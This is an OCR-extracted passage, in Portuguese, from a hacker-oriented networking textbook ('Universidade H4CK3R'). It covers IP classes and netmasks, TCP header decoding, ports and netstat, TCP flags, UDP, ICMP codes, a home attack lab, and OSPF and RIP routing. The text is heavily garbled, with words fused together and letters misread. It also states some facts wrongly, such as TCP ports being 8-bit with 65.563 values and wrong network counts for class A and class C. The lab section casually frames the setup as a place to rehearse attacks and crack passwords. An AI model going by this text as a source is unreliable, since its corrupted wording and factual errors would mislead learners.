WindowsXP Home,estecomandonãoestádisponível,portantoo leitor deveráprocurarpelasPropriedadesdeRedeno Painelde Controle. Qualquerquesejao comando,a saídaseráparecidacomesta: ethO Encapsulamento do Link: Ethernet Endereço de HW 00: 08: 74: B5: 64: 95 inet end.: 192.168.1.11 Broadcast:192.168.1.255 Máscara:255.255.255.0 Podehaverou nãomaisinformaçõesanexadasà saída.Os endereçosIP são defmidospor interface.No exemplomostrado(umamáquinaLinux)aparecem os dadosrelativosà interfaceethO.Sehouvessemaisumainterface(ex.ethl) existiriamnúmerosIP paraasduasinterfaces.Outrodadoqueapareceé o MAC address.Mase aquelesdoisoutroscampos,Broadcaste Máscara?Paradescobrir paraqueambosservem,temosdeentendero conceitodeclassesderedes. 1164I Redes"[
  • Universidade2°Ano Redes e Hosts o númeroIP podeserdivididoemduaspartesqueidentificamaredeemque estãoconectadose seuendereçoúniconessarede.Por exemplo,no endereço 192.168.1.11,poderíamosdizerque 192.168.1representaa redee 11repre- sentao 110computadorligadoa essarede. Masespereaí!Ondeterminao númeroderedee ondecomeçao númerode host?ParadefInirisso,usamosumnovoelemento,amáscaraderede.No ende- reçodo nossoexemplo,a máscarade redeera255.255.255.0.Paraentender comoesseemaranhadode númerospodesepararalgumacoisa,vamostrans- formartudoembinários: 192.168.1.11 255.255.255.0 11000000.10101000.00000001.00001011 11111111.11111111.11111111.00000000 Agora,bastafazerumaoperaçãológicaE. O resultadodaoperaçãoindicaa rede(por issoelaé chamadade máscarade rede).Na prática,signiflcaque todasasposiçõesdamáscaraquepossuem1indicamqueaquelebitdoendere- ço pertenceaonúmerodarede.Emnossoexemplo,a redeseria192.168.1.0. NossohostfIcariaapenascomo número11paraidentiflcá-Ionessarede. MascomodefIniramáscaracorreta?Paraisso,todoo endereçamentofoidividi- doemclasses.Nãovamosentraremdetalhesdoporquêfoidivididodessaforma, mesmoporqueé irrelevanteparaos nossosobjetivos.Bastasaberqueexistem cincoclassesdeendereços,e quecadaumapossuiaseguinteconfIguração: o 7 8 31 ClasseA G End.Rede[ End.Host 7 8 31 End. Rede End.Host End. Rede 23 24 31 ] End.Host I Os algarismosacimadosquadrosrepresentamaposiçãodosbitsdentrodo endereço.Vemosqueendereçosde classeA possuem24 bitsreservadospara hostse apenas8 bitspararedes.Issonosdá256redesdiferentes,cadauma commaisde 16milhõesde hosts.No casodaclasseC, temosexatamenteo inverso:16milhõesderedes,cadaumacom256endereçosdehostpossíveis. Na classeB é meioa meio:65.536númerosparacadalado. 1165I ]RedesII o ClasseB o 1 2 3 ClasseC ITE
  • IUniversidadeH4CK3RI Dependendoda aplicação,usa-seum ou outroespaçode endereçamento. Fazendoascontas,e levandoemconsideraçãoosbitsiniciaisdasclasses(que nuncamudam),temosa seguintedivisão: ClasseA: de 1.0.0.0a 126.255.255.255 ClasseB: de 128.0.0.0a 191.255.255.255 ClasseC: de 192.0.0.0a 223.255.255.255 Eunãofaleicincoclasses?Sim,masasduasrestantesnãopossuemdivisãode hostseredes.A classeD encerraoschamadosEndereçosdeMulticast.Enquan- to umendereçoIP é únicoemtodaarede,podehaverdiversasmáquinascom o mesmoendereçomulticast.Ele serveparaenviarpacotescomunsa todas essasmáquinas.Foi criadocom a idéiaoriginalde suportarstreammingde áudioe vídeo.Pode-seidentificarumendereçodemulticastpelosbitsiniciais 1110ou,emdecimal,224.A classeE foi reservadaparausofuturo,masnunca foi aproveitada.Como adventodo IPv6,provavelmentenuncaserá.Iniciacom 1111embinário,ou 240emdecimal. Aindafaltadescobrirmoso que é o tal de Broadcast.Paratanto,vamosa algumasconvenções.Emgeral,asinterfacesderedeconsideramo valor"tudo zero"no endereçocomoa palavra"este",e o valor"tudoum"como"todos". Lembrandoque,nosbitsde cadaum dosquatrobytesdo endereçoIP, "tudo zero"é representadopor Oe "tudoum"por 255,temos: ~ 0.0.0.0- Estarede ~ a.b.O.O- A redea.b ~ O.O.x.y- Estaçãox.ynestarede ~ 255.255.255.255- Todasasestações ~ a.b.255.255- Todasasestaçõesdaredea.b Voltemosaoendereçodebroadcastquevimosno tcpdump,192.168.1.255. Vimosque,aplicandoamáscaraderede,conseguimoso endereço192.168.1.0. Esteé o endereçodarede192.168.1.O zerono lmaldoendereçoindicaeste, logo,poderíamosdecodificar"estaredequesechama192,168.1".Já o 255no lmaldo endereçodebroadcast("tudoum")indica"todasasmáquinasdarede 192.168.1".Puxa,nemeratãodifícil... Protocolo TCP O companheiroinseparáveldo IP e grandeestreladaInterneté o protocolo TCP.Comoamaioriadosserviçosdisponíveisbaseia-senele,devemosteruma noçãodecomoo pacoteTCP é montadoe comosecomporta,paraentender comoosataquesa essesserviçosfuncionam. 1166I RedesI1[
  • Universidade2°Ano o pacoteTCP ComovimosemRedesI e, rapidamente,no capítulosobreUnix, todosos serviçosdeInternetqueusamos- HTTp, SMTp' POp, ICQ, KaZaA- ficam "escutando"aredee esperandopor umaconexãoparasi. Essaconexãodá-se por meiode portas,que sãonúmerosatribuídosaosserviçosem questãoe dependemdoprotocoloutilizado.Aportaé representadapor umalgarismode 8 bits,portantotemos65.563possíveisserviçosqueusemo protocoloTCP escutandoarede.Umexemploclássicoéumaseçãodee-mail.Quandoseconecta aoservidordeSMTPpelaportaTCP 25,nossoprogramapreferido(osautores usamEudorae KMail)recebedeleumastringassim: HELO MAIL RCPT DATA Date: Mon, Frorn: ... srntp.seudorninio.com.br FROM: usuario1@seudorninio.com.br TO: destinatario@provedor.com.br 07 Apr 2003 12:16:35 -0500 (EST) Cadamensagemteráum cabeçalhoparecidocom essee várioskbytes(às vezes,Mbytes,dependendodequantosdiasvocêficousemverificarsuacorres- pondência...).Comoqualqueridiotapodever(ei,eupossover!),é impossível transportartodososdadosdeseuse-mails(oudapáginadaWeb,oudoMP3do KaZaA)emum único pacoteTCP.Portanto,a fragmentaçãoé o mecanismo principaldo protocolo. O cabeçalhoTCP temnormalmente20bytese separececomesteaqui: Os campos Número seqüencial,Reconhecimento,Tamanho,Opções, Enchi- mento e Dadostêm aplicaçõesidênticasàs do protocolo IP.Os outros campos têm aplicaçãoespecíficapara o protocolo TCP e um deles,o camplo Flags,é o que fazcom que o protocolo funcione - e o que os hackersusamparaatacá-Io. 11671 ] RedesII PortadeOrigem(16) PortadeDestino(16) Númeroseqüencial(32) NúmerodeReconhecimento(32) Tam.(4)I Reservado(6)I Flags(6) Tamanhodajanela(16) VerificadordoTCP(16) PonteirodeUrgência(16) Opções(sehouver! IEnchimento Dados
  • I Universidade H4CK3R I Vamoscontinuarescovandobits?A saídado comandotcpdump,queusamos paraestudaro pacoteIP,era: 05:39:40.734407 192.168.1.11.2819 > 213.61.48.245.80: 6432 (DF) 4500 0034 3779 4000 4006 d53d 30f5 IOb03 0050 785c 8010 1920 c9b6 0000 0101 3dd4 f96b ack 357 win 3b65 cOa8 010b 4fcO 77aa ce8b 080a 0060 7aba Observeosdadosdentrodo quadro.Esseé o campodedadosdo pacoteIP. Maslembre-se:o pacoteTCP está"envelopado"dentrodo Ip,entãoseseparar- mosos20bytesiniciaisdocampodedadosIP temoso cabeçalhoTCP. Ob03 0050 785c 4fcO 77aa ce8b 5010 1920 c9b6 0000 Os primeiros 2 bytesindicam aporta de origem.Ob03é 2.819em decimal.É uma porta maior que 1.024,ou não privilegiada,o que indica que o pacote provavelmente!originou-sede um software cliente. A porta-destino,0050,é 80 em decimal.Daí, pode-sededuzirque estepacote: ~Foi criado por um navegadorWeb,como o Mozilla. ~Dirige-sea um servidorWeb,no casoo Apache do Greenpeace.org;). Os outros campos tambémsão reveladores: ~Númeroseqüencia1:785c4fcO.OnúmeroseqüencialnoTCPnãosepresta, apenas,àfragmentação.O protocoloTCP controlaa ordememqueospacotes sãorecebidose osordenado destino,casoestejamforadeordem.Alémdisso, seumpacotedemoraachegar,a máquina-destinofazcomamáquina-clienteo mesmoquefazemosno McDonald's:pedepelonúmero. ~ Número de reconhecimento:77aace8b. O computador-destinodos pacotessempredevolveumnúmerodereconhecimentodeumpacoteanteri- ormenterecebido.Essenúmeroé o seqüencialdopacoterecebido+1. ~Tamanhodo cabeçalho:5 ~Flags:010,ou seja,embinário010000.Osflagssão,emordem,URG,ACK, PSH,RST,SYN e FIN.Nesteexemplo,vemosqueo flagACK estáligado. ~Tamanhoda janela:1.920,emdecimal6.432.É a quantidadede bytes máximaquea origempodemanipular. 1 Sim,provavelmente.hackerspodemalterarosnúmerosdasportas-destinodospacotesenviadospor eleparafazercomqueossistemasdedefesapensemquesuamáquinaé uminocenteservidordeInternet - e deixempassaro ataque... 1168 1 RedesII I
  • Universidade2°Ano ~Verificador:c9b6.É o checksumdo pacoteTCP. ~ Ponteirode urgência:0000.O protocoloTCP permitequecertosdados dentrodo pacotepossam"furaraftla"e serprocessadosprimeiro.A flagURG indicaqueessesdadosexistem,e o ponteiroindicaa posição,dentrodaárea dedados,emquetaispacotesseencontram.Emnossopacote-exemplo,nãohá nenhumdadourgentea processar. Portas TCP Diz-sequeoTCP é umprotocoloorientadoaconexão.Issosignificaquenão importaoscaminhospelosquaiso pacoteIP ande:paraoTCP nãoexiste"mun- doláfora".OTCP criaumcanalvirtualentreaorigeme o destino,e essecanal é imunea influênciasexternas.A alegoriado canoé perfeita:o TCP criaum tuboentreaaplicaçãoorigeme a destino,e osdoislados"conversam"por ele. Quemolharpor umaextremidadenãoverároteadores,cabos,IPs, Ethernet, placasderede,nadadisso.Veráapenasseucompanheirodeconexãono outro lado.Essaconexãosóé possívelporqueexisteo conceitodeportas. Vamosdivagarum pouco.Vocêjá deveter ido a algumbar ou restaurante ondea cozinhaé no andardecimae háelevadoresparaosdiferentestiposde itensoferecidosno cardápio.Asbebidasnãopodemtrafegarno mesmoeleva- dordospratosquentesporqueesquentarão.Estesnãodevemtrafegarno mes- mo ambientedassaladas,porque as deixarãomurchase possivelmente engorduradas.Semfalarnassobremesas.Hipoteticamente,precisamosde,pelo menos,quatroelevadores2. Poroutrolado,todasasmesastêm,também,números.Sevocêconsiderarque os garçonssãoos pacotesIP,ascomandaspodemservircomopacotesTCP. Cadamesa"conecta-se"a um elevadorpor meiodacomanda/TCP.A mesa26 podeconectar-seaoelevador4 e esperarumasobremesa;a mesa31,aoeleva- dor 3 e esperaraqueleEspagueteaoVôngoli. Notequecadaumdoselevadoresdonossorestaurantepresta-sea umservi- ço diferente.Seo casaldamesa4quisero serviçocompleto,terádeseconectar, emordem,aoselevadores1,2, 3 e 4. O cafezinhoé um exemplode serviço alternativoquevempelamesmaportade outro:desceupelo elevadorde so- bremesas.E acontavemporumaportadesconhecidae misteriosa(nãosaiude elevadornenhum),estouachandoqueé algumbackdoor... Voltandoaodomíniodoscomputadores,vocêpodeatribuirqualquerportaa qualquerserviço.Masexistemsugestõesparao usodelas,todasreferenciadas naRFC1700.Por exemplo,aporta80normalmenteé destinadaaosservidores Webou HTTP.QuandovocêabreumapáginadaWebe nãodiz emqueporta está,o seunavegadorinferequeé parausaraporta80.Vocêpodemontarum servidorWebe atribuí-Ioàporta12345,sequiser.Masterádeinformaratodos os seusclientesqueseuservidorusaessaporta. 2 vocêjá viu um restauranteorganizadoassim?Eu nunca.Minhasbebidaschegamsemprequentes... 1169I ]RedesII
  • IUniversidadeH4CK3RI UmasessãoTCP separececomesta: PortaOrigem:2337 PortaDestino:80 PortaOrigem:80 PortaDestino:2337 Observe:aportado clienteé o quechamamosdealtaou nãoprivilegiada. Elaémaiorque1024enormalmenteéfomecidapelosistemaoperacional,que nãousaumaportaftxaparacadaaplicação,masa próximaportaqueestiver disponível.Já aportado servidoré o quechamamosdebaixaou prioritária. Essasportas,aocontráriodasdocliente,sãodeftnidaspeloIETFenormatizadas pelaRFC1700.PensenosserviçosmaiscomunsquevocêusanaInternet:FTP, SMTP,DNSe HTTP.Suasportas,segundoaRFC1700,são,respectivamente,21, 25,53e 80.Dê umaolhadana listacompletaemwww.ietf.org/rfc.htmI. Há umamaneirafácil de ver quaisportasestãosendousadas.O comando netstat,presentetantonoWindowscomoemtodososUnix,mostratodosos aspectosdoestadodaconexãodocomputadorcomarede.Emitiro comando semargumentosvaimostrartodasasconexõesativas(vouusarum exemplo doWindows,destavez,paranãomechamaremderadical): C: \> NETSTAT Conexões ativas Endereço externo Estado 192.168.1.109 :netbios-ssn ESTABLISHED baym-cs41.mdc.chachucha.com:1863 ESTABLISHED streamer013 . cache. gotorama. com: http CLOSE_WAIT xuxu. c1ient. tatibi ta ti . com: ftp TIME_WAIT ADSL145-4.babababa.com.ar:1346 ESTABLISHED Experimenteagoracom asopções-na.A opçãon diz ao netstatparanão resolveros nomesdossitese serviços,mostrando-oscomonúmeroIP e de portas.Observea colunaendereçolocal.As milhareslogoapóso sinalde":" sãoasportaspelasquaisos aplicativos-clienteestão"escutando"e conversan- docomosservidores.Já nosendereçosexternos,notequeháserviçossendo disponibilizadosporportasprivilegiadas:netbios-ssn(139),http(80)eftp(21). As outrasduasestão"escutando"emportasaltas. Comoveremosnos capítulosseguintes,saberquaisportasestãoativasem nossocomputadoré primordialparaqueidentillquemospossíveisatividades de hackersmaliciosos.Por outrolado,conhecerasportascomunse asferra- mentasqueasgerenciampodefacilitarascoisasparaessesmesmoshackers. 1170I Redes11[ Prato Endereço local TCP EST202: 1928 TCP EST202 :2787 TCP EST202: 2934 TCP EST202 :4065 TCP EST202: 4068
  • Universidade2°Ano 05 bits de controleTCP Paraamaioriadasaplicações,osbitsdecontroledo protocoloTCP sãouma partesignificativado trabalhodeconexãoe transporte.Cadaumdosseisbits presentesnocampoFlagsdopacoteIP temumafunçãoespecíficae importan- teno estabelecimento,controlee gerenciamentodasessão.No capítulo2,Re- desI, nosreferimosa elesdeformarápida: Quasetodasastécnicasdeportscanningvalem-sedossinais(ou flags)TCp, UDP ou ICMP trocadosentreos programasquequeremse conectar.Apenas parareferênciarápida,ossinaissãoestes,naordemcomoaparecemnosflags: ~URG (urgent)-Sina1izadordeurgência; ~ACK (acknowledge)-Indicaqueospacotesanterioresforamaceitosnodestino; ~PSH(Push)-Umtipode"válvuladedescarga",aceleraatransmissãoparapoderfinalizá-Ia; ~RST(reset)- Interrompeaconexão,devidoaerrosou"quedadelinha"; ~SYN(synchronize)-Tentativadesincronizaçãoentreportas; ~FIN (finish)-Finalizadordeconexão,usadonofimdatransmissão(nãohámaisdados); Semosflagsdecontrole,nenhumaconexãopodeserestabelecidaoumantida. Paraisso,o protocoloTCP-IPseutilizadeumhandshakebásicodetrêsetapas, queabrea sessãodecomunicaçãoe sincronizaentreasduasportasosnúme- rosseqüenciaisdospacotesTCP.Observe: SYN+SEOc ACK +SEOce SYN +SEOs" ACK+SEOc Vamosusaro exemplomaismanjadodetodos:umservidorWeb.O computa- dor clientedesejaconectar-seao servidore obter dele a páginaprincipal index.php.O clienteenviaumpacoteTCP aoservidorparaa porta80 como flagSYN ativadoe comumnúmeroseqüencialquemarcaráo início datroca dedados.Todosospacotesquesaemdo clienteemdireçãoaoservidorserão seqüênciasemrelaçãoaesseprimeiro,quevamosabreviarparaSEQcO servi- dor(seestiverescutandonaquelaporta)vairespondercomdoisflagsativados: oACK,indicandoquereconheceue aceitouo pacoteenviado,e umnovoSYN, solicitandoqueo clienteaceiteo seunúmeroseqüenciaI(vamoschamá-Iode SEQs)'O camponúmerodereconhecimentoquevaiemdireçãoaoclientepos- suio SEQce,no camponúmeroseqüenciaI,SEQs'O cliente,então,responde comumACK +SEQs'indicandoqueelespodeminiciara transferênciade da- dossemproblemas. 1171I ] Redes11
  • IUniversidadeH4CK3RI Comoambasaspartessabemqualé o númeroseqüencialdooutro,ficafácil pediro reenviode pacotesperdidose ordenaros pacotesno destino.Nãoé nemumpoucoprovávelqueaquelesdesorganizados,desordeirose descara- dospacotesIP tenhamresolvidopassearpor lugaresdiferentesda Internete chegaramno destinoemumaordemdiferentedaestipulada. O queacontecequandovocê,no meiodo carregamentodapágina,dica no botãoParardo seunavegador?Nestemomento,o softwareemquestãomanda umpacoteTCP parao servidorcomo flagFIN ligado,comoquemdiz"pode pararquenãoqueromaisbrincar".O bit RSTé usadoparaderrubarconexões problemáticas,negartentativasnãoautorizadasou incompletasde conexão (por exemplo,a umaportaquenãoexiste)e liberara portaemquestão,se estiveremuso. Estaé a partemaisimportantedenossosestudossobreo protocoloTCP/lp. OshackersusampesadamenteosflagsTCP paravasculharnossasconexõese, dependendodasrespostasqueo sistemaoperacionalretorna,calculaou infere seaportaestáabertaou fechada,seexisteproteçãopor firewallou nãoe se algumasvulnerabilidadesdetectáveispor esseprocessoestãopresentes. Protocolo UDP O TCP é "carnee unha"como Ip,e juntoselessão"paupra todaobra".A maioriadosserviçosoferecidosna Internetbaseia-senessadupladinâmica (puxa,quetrocadilhoruim...).Masháumoutroprotocoloquepodeserconsi- deradoo "amigãodopeito"do IP. Há situaçõesemquetodaa parafernáliadeverificaçõeslevadasa cabopelo TCP não sãonecessárias.Na maioriadessassituações,elasatéatrapalham. QuandobaixamosumprogramadaInternetou umamúsicapeloKaZaA(sem pirataria,pessoa!!),queremosqueelesestejamíntegros,de outromodonão conseguiremosutilizá-Ios.Masquandoestamosouvindorádioou vídeopela Internet,aordemdospacotese mesmosuaconfiabilidadejánãosãoassimtão necessárias. É nessecontextoqueentraemcenao UserDatagramProtocol.Comoo pró- prio nomediz,o UDP é umdatagramaconfigurávelpelousuário.Seucabeça- lho é muitosimples,e cabeaopróprioprogramadefinirasregrasdeconexão e asinformaçõesa seremtrocadasentreaspartes.A expressãonãoconfiávelé normalmenteusadaparadescrevê-Io,por nãopossuirformasde recuperação deerros,masissoé umamentira.O UDP serveparainúmeroscasosondeas opçõesdeestabilidadedoTCP aindasãoinsuficientese devem,portanto,ser implementadasdiretamentena aplicação. O pacoteUDPnãopossuinenhumdoscamposdecontrole,seqüênciaereco- nhecimento,nadadisso.Comonãoépossívelestabelecerumaconexãocomo TCp' pois não há meios de fazer o hadshake,dizemos que o protocolo 1172 1 Redes 11r
  • Universidade2°Ano UDP nãoé orientadoa conexão. Ou, usando o jargão anglo-informatiquês, eleé connectionless. Voltando ao nosso streamming, um pacote UDP faltando significa uma man- chinha qualquer na minha imagem em streamming, que passa despercebida pela rapidez com que outra imagem é colocada no lugar.Já o atraso provocado por todas as verificações do pacote TCP tornariam o vídeo extremamente de- sagradável de assistir. Um pacote UDP parece-se com este: Vê-se que o pacote UDP é avaro em recursos de rede. Seu cabeçalho tem apenas 8 bytes, em relação ao TCP que tem 20 ou mais. ProtocoloICMP o pessoalque desenvolveua famíliade protocolosTCP/IP não deu ponto sem nó. Umadascoisasmaisbacanasparao controle e sinalizaçãode eventose pro- blemasnasredesIP é o tal do InternetControl MessageProtocol. Suafunçãoé enviarcomandossimplesa interfacesde rede e roteadoresparaque elesfaçam algumacoisaou respondamcom seuestado.Além de serusadoautomaticamete pelas interfacese roteadores,é uma caixa de ferramentasmuito interessante para o administradorresolverproblemasda rede. Hackerstambémadoramos recursosque o ICMP ofereceparadescobrira topologiade nossarede... O ICMP é um protocolo de nível 3 (ups, deveríamostê-Io colocado antesdo TCp,não acha?Bem,achamosque, didaticamente,ele ficaria melhor aqui).O cabeçalhodo ICMP é literalmenteo mesmodo Ip, masno campo de protoco- los,em vez do 6 doTCP ou o 17 do UDp, colocamos1.No campo de dadosdo pacote IP é inseridomaisum campo de controle,o chamadoICMP Type Field, que identifica o tipo de mensagemque o ICMP vai transportar.Essescódigos também estãodefinidos pelo IETF na (adivinhe...) RFC1700 e mostradosna tabela a seguir: 11731 ]RedesII PortaUDPdeOrigem(16) T PortaUDPdeDestino(16) Tamanhodosdados(16) T Checksum(16) Dados
  • IUniversidadeH4CK3RI ~O Echo Reply [RFC792] ~1 UnassignedUBP] ~2 UnassignedUBP] ~3 Destination Unreachable [RFC792] ~4 SourceQuench [RFC792] ~5 Redirect [RFC792] ~6 Alternate Host Address UBP] ~7 UnassignedUBP] ~8 Echo [RFC792] ~9 RouterAdvertisement[RFC1256] ~10 Router Se1ection[RFC1256] ~11Time Exceeded [RFC792] ~12 ParameterProblem [RFC792] ~13Timestamp [RFC792] ~14TimestampReply [RFC792] ~15 Information Request [RFC792] ~16 Information Reply [RFC792] ~17Address Mask Request [RFC950] ~18Address Mask Reply [RFC950] ~19 Reserved(for Security) [Solo] ~20-29Reserved(for RobustnessExperiment) [ZSu] ~30 Traceroute [RFC1393] ~31 DatagramConversion Error [RFC1475] ~32 Mobile Host Redirect [DavidJohnson] ~33 IPv6 Where-Are-You[Bill Simpson] ~34 IPv6 I-Am-Here [Bill Simpson] ~35 Mobile RegistrationRequest [Bill Simpson] ~36 Mobile RegistrationReply [Bill Simpson] ~37-255ReservedUBP] Os tiposdemensagensICMP estãolistadosno formato: ~Valor Mensagem[Referência]. Algunsdos tipos de mensagemprecisamde parâmetrosparafuncionar. Outros,devolvemvaloresqueinformamo estadodostestesrealizados.O campo emqueessesvaloressãoguardados,logoapósoServiceType,échamadodeCode Byte.Algunsvaloresparacodebytesimportantessão: 11741 Redes11I
  • Universidade2°Ano 3 DestinationUnreachable [RFC792] Codes O NetUnreachable 1 HostUnreachable 2 ProtocolUnreachable 3Port Unreachable 4 FragmentationNeededandDon'tFragmentwasSet 5 SourceRouteFailed 6 DestinationNetworkUnknown 7 DestinationHostUnknown 8 SourceHostIsolated 9 Communicationwith DestinationNetworkis AdministrativelyProhibited 10 Communicationwith DestinationHostis AdministrativelyProhibited 11 DestinationNetworkUnreachableforTypeof Service 12 DestinationHostUnreachableforTypeof Service 5 Redirect [RFC792] Codes O RedirectDatagramfor theNetwork(or subnet) 1 RedirectDatagramfor theHost 2 RedirectDatagramfor theTypeof SerViceandNetwork 3 RedirectDatagramfor theTypeof ServiceandHost 11 TimeExceeded [RFC792] Codes O Timeto LiveexceededinTransit 1 FragmentReassemblyTimeExceeded 12 ParameterProblem [RFC792] Codes O Pointerindicatestheerror 1 MissingaRequiredOption 2 BadLength [RFC1108] ProcureasRFCsindicadase estudeo significadode cadaum dossinaise códigos.Valea pena! 1175 1 I RedesII
  • IUniversidadeH4CK3RI Laboratório de Redes 11 No capítuloRedesI dtamososequipamentosutilizadosparaamontagemdeuma redesimplescomdoiscomputadores,usandoumcabodeconexãocruzada,nor- malmenteapelidadode"cabocross".NossofOcoprindpa1eraamontagemdeuma rededoméstica,semo usodeequipamentosmaiscomplexoscomooshubs,bridges, switcheseroteadores,emboratenhamosvistoalgumasdefiniçõesdessesaparelhos. Paraa realizaçãodemuitasdasexperiênciassugeridasnoscapítulosa seguir,te- mosdeprepararumarededetestesumpoucomaiselaborada.Eladeveser,obvia- mente,isoladadesuarededeproduçãomasdeveteralgumaligaçãocomaInternet. Asvantagensdeterumambientecontroladoparafazerseustestessãoóbvias: ~Nãoháperigodedanificarmáquinasdeproduçãooudeusofreqüente; ~Damesmaforma,suaredecorporativaestarásegura; ~Pode-se"brincar"àvontadecomasferramentase exploitsmostrados; ~Sevocêquiserserumblackhat,épossíveltestarosataquesantes; ~Montarumapequenaredepodeserumaexcelentehigienemental; ~SerápossívelfazercampeonatosdeDoomdepoisdo"horáriodeaula";-). O hardwarenecessárioé baratíssimo.Pelo menostrêsmáquinasPentium 133ousuperior,com64MBdeRAMe 4 GBdeespaçoemdiscodevemservir. MáquinasquerodarãosistemasUnix paraPC precisamdemenospoderainda - velhos486ou mesmo386devemservirmagistralmente.Cadaumadasmá- quinasdeveráteralgumaplacaderedebarata,masquesejacompatívelcom todosos sistemasoperacionaisquevamosusar.Essasmáquinaspodemser encontradasusadaspor menosde R$ 200cadanos"sucatões"de informática existentesempraticamentetodoo Brasil.Observequenemtodasasmáquinas precisampossuirmonitores. Paraarede,umhubtambémusadoebaratodeveservir.Comoo desempenho nãoseráproblemaaqui(muitopelo contrário,quantomaislentaa rede,me- lhoratrocademensagenspoderáseravaliada),qualquerhub,mesmopassivo, serviráperfeitamente.Retalhosdecabosdepartrançadocategoria5 ou mes- mo 3 poderãoserencontradosno lixo dasempresasou compradosbaratinho nasmesmaslojasde sucata. Todoessehardwareligadoemredemerecebonssistemasoperacionaispara trabalhar.Guardesuamáquinamaisparrudae instalenelaváriasversõesdo Windows,emmultiboot:98SE,Me,2000e XP sãoexcelentespedidas.Aplique nelatodosos hotI1Xese ServicePacksdisponíveis.Essamáquinaseráusada paraoriginarataquespor meiodeferramentasWindowse parasofrerataques destinadosa máquinasatualizadasdessasplataformas. Na outramáquina,instaleumWindowsNT 4,umOpenBSD,umFreeBSD4.5 eumLinuxcomopçãodekemel2.2e 2.4.Nãoinstalenenhumservicepackou atualizaçãonela.Essaseráa"coitada". 1176 1 Redes 11[
  • Universidade2°Ano Na máquinamaisfraquinha,instaleasversõesmaisatualizadaspossíveisdo Linuxcomkernel2.4e OpenBSD.Serásuaorigemde ataquesUnix.Os Unix enxutosparaPC sedãobememmáquinasantigas. Porúltimo,vamosestabelecerumaconexãocomaInternet.Umanão,quatro. Precisamosconfigurarasduasmáquinassegurascomogatewaysdeumacone- xãodealtavelocidade,portantoambasterãoduasplacasderede.O roteador deacessorápidopoderáser"plugado"namáquinaquedeveráprovero acesso paraaqueleteste. ComovamosbrincardeWar Dialers,precisamostambémde modemsde linhadiscada.Cadacomputadordeveráter o seu.O diagramadestaredeum poucocomplicadaficariaassim: Windows Coitada BarramentodoHub O materialnecessárioé, então: - 3computadoresPentium133ou486 commemóriae discoapropriados; - 2 modemsdiscados; - 5 placasderede; - 1hub lOBaseTbarato; - CabosUTP cat3 oumelhor; - Sistemasoperacionaisindicados. Linha Telefonica Unix Seforemusadoscaboseplacascoaxiais,serápossíveldescartaro hub,masa redenãoserámaisfacilmenteexpansível.Issoé interessantepois,no futuro, pode-semontarumclustercomdiversos386adquiridosno lixãoe que,juntos, formamum supercomputadorrespeitávelparaquebrarsenhas. Comobônus,no fim destecapítulorecolhemosalgumasinformaçõessobre tecnologiasde Internetquepodemserde interesse.É apenasumareferência rápida:háliteraturamaiselaboradadisponívelna Internete embonslivros. 1177 1 ] Redes II
  • I Universidade H4CK3R I Roteamento Paraqueo roteadorpossadirecionaros dadospelosdiferentescaminhos entre as redes interligadas,eles utilizam os chamadosProtocolos de Roteamento.Alémdisso,os dispositivostambémvêmdotadosdeumatabe- la de roteamento,responsávelpor identificaras rotasque serãoseguidas por datagramas.Caso o roteador não conheça o caminho pelo qual o datagramadevepassar,ele o enviaparaum roteadorlistadocomo default gateway(caminhopadrão)parade lá prosseguirseucaminho. O protocolo de roteamentoagede duasformas,informandoo menor caminho,o quenãosignificaqueessesejao melhor,ou entãoinformando o melhor,que nem sempreé o menor.Grandepartedasvezes,o melhor caminhoé o menoscongestionado,umavez queos menorespodemestar lidandocom muitasrequisiçõesao mesmotempo.Dentreos protocolos de roteamento,ficaremoscom os ligadosaoTCP/IP, que é o maisutiliza- do, falaremosdo OSPF (Open ShortestPath First) e do RIP (Routing InformationProtocol). OSPF O OSPFé umprotocoloabertoqueé baseadono link utilizadopeloTCP/lP. Eleé capazdetestaro estadodosoutrosroteadoresconectadospor meiode umamensagemchamada"hello",queé enviadaparacadaum,e seo roteador contatadoestiverfuncionandoeleretomaumamensagempositiva;a faltade respostasignificaqueo equipamentoestáforado ar.Alémdisso,tambémpos- suio roteamentobaseadonotipodeserviço,queescolheamelhorrotaparao datagramabaseadonaprioridadedo datagramaemquestão. O cabeçalhoOSPFé formadopor: Versão- Versãodo protocolo; Tipo - Tipodamensagemquepodeser:hello,descriçãodobancodedados, pedidodoestadodolink,atualizaçãodoestadodolink,conftrmaçãodoestado do link; IP do roteadorde origem- Informao endereçoIP do roteadorqueestá enviandoa mensagem; Área- Atéemqueáreaamensagemserefere(no OSPFasredespodemser divididasemáreas); Checksum:Checksumdamensagem; Tipo de autenticação- Informaçõessobrea senha; Autenticação- Casohajasenha. RIP O RIP fazcomqueos roteadoresenviemsuastabelasderoteamentode 30 em30segundosparaosoutrosroteadores,fazendodessaformaumaatualiza- 1178I Redes 11r
  • Universidade2°Ano çãoconstantedesuastabelasbaseadonasdeoutrosroteadores.Um dosmaio- resproblemasencontradosnesseprotocoloé queeledefmeo caminhoa ser percorridobaseadonadistânciaatéo receptor,semlevaremcontaascondi- çõese desempenhodarotaa serpercorrida. As mensagensRIP possuemos seguinteselementos: Comando- Usadoparaidentificarse a mensagemé um pedidoou uma resposta; Versão- Informaa versãodo protocolo; Reservado- Há diversoscamposmarcadoscomoreservados,e todoseles sãopreenchidoscomzeros; Protocolo - Informa qual foi o protocolo utilizado para gerar o endereçamento; . EndereçoIP - Diz qualo IP daredecujadistânciaestásendoinformada atravésdamensagem; Distância- Informaa distânciaatéaredeno campodo endereçoIP. Internet Em1969,nasciaa Internet.Essapodeserconsideradaumadashistóriasmais contadasno mundodigital,masnuncaé demaisrelembrara origemdeumdos grandesfrutosdahumanidade.A intençãoeraligaros laboratóriosdepesquisa norte-americanosdaARPA(AdvancedResearchProjectsAgency),visandoà es- tabilidadede todoo sistemacasoalgoacontecessea um dosseusterminais. Podemosdizerentãoquemaisum avançodahumanidadenasceuligadoàs intençõesmilitares,tudopor causadaguerrafria. Aos poucos,a redefoi se expandindoparauniversidadese laboratórios,e como tempoacabouganhandoo mundo.Nãoexisteumlugarcentralondea Internetestejalocalizada,sãomaisde 40 mil redesespalhadasao redordo globo,todaselasbaseadasnoprotocoloTCP/lP.Nãofoi àtoaqueelesetomou tãopopular,comodissemosantes. A RedeMundialdecomputadores,tambémchamadadeWWW(WorldWideWeb), éformadaporredesdealtacapacidade,queporsuavezestãoconectadasacompu- tadorespoderososconhecidoscomoBackbones,comaltalarguradebanda. DiscutiroscomponentesdaInternetseriacomodiscutiro próprioprotoco- loTCP1IP,e jáqueo estudamosnocapítuloRedesI, aconselhamoso leitoradar 